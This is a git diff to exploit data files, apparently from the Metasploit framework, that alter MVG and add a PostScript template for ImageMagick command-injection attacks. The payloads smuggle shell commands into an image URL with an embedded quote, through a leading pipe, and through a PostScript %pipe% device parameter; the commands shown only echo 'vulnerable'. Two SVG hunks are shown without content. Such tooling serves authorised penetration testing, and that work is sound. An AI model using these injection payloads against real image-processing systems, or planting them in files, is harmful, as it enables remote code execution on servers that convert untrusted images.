diff --git a/data/exploits/imagemagick/delegate/msf.mvg b/data/exploits/imagemagick/delegate/msf.mvg
index f53afc7afc..e05ef9e59a 100644
--- a/data/exploits/imagemagick/delegate/msf.mvg
+++ b/data/exploits/imagemagick/delegate/msf.mvg
@@ -3,6 +3,6 @@ encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
-image Over 0,0 1,1 'https://localhost";echo vulnerable"'
+image Over 0,0 1,1 'https://localhost";echo vulnerable > /dev/tty"'
pop graphic-context
pop graphic-context
diff --git a/data/exploits/imagemagick/delegate/msf.ps b/data/exploits/imagemagick/delegate/msf.ps
new file mode 100644
index 0000000000..f811ab6103
--- /dev/null
+++ b/data/exploits/imagemagick/delegate/msf.ps
@@ -0,0 +1,4 @@
+%!PS
+currentdevice null true mark /OutputICCProfile (%pipe%echo vulnerable > /dev/tty)
+.putdeviceparams
+quit
diff --git a/data/exploits/imagemagick/delegate/msf.svg b/data/exploits/imagemagick/delegate/msf.svg
index 2b3181763c..0366d5da5b 100644
--- a/data/exploits/imagemagick/delegate/msf.svg
+++ b/data/exploits/imagemagick/delegate/msf.svg
@@ -1,5 +1,5 @@
diff --git a/data/exploits/imagemagick/popen/msf.mvg b/data/exploits/imagemagick/popen/msf.mvg
index dfb1238de8..4317957963 100644
--- a/data/exploits/imagemagick/popen/msf.mvg
+++ b/data/exploits/imagemagick/popen/msf.mvg
@@ -3,6 +3,6 @@ encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
-image Over 0,0 1,1 '|touch vulnerable'
+image Over 0,0 1,1 '|echo vulnerable > /dev/tty'
pop graphic-context
pop graphic-context
diff --git a/data/exploits/imagemagick/popen/msf.svg b/data/exploits/imagemagick/popen/msf.svg
index 304d69723f..94398dfcb3 100644
--- a/data/exploits/imagemagick/popen/msf.svg
+++ b/data/exploits/imagemagick/popen/msf.svg
@@ -1,5 +1,5 @@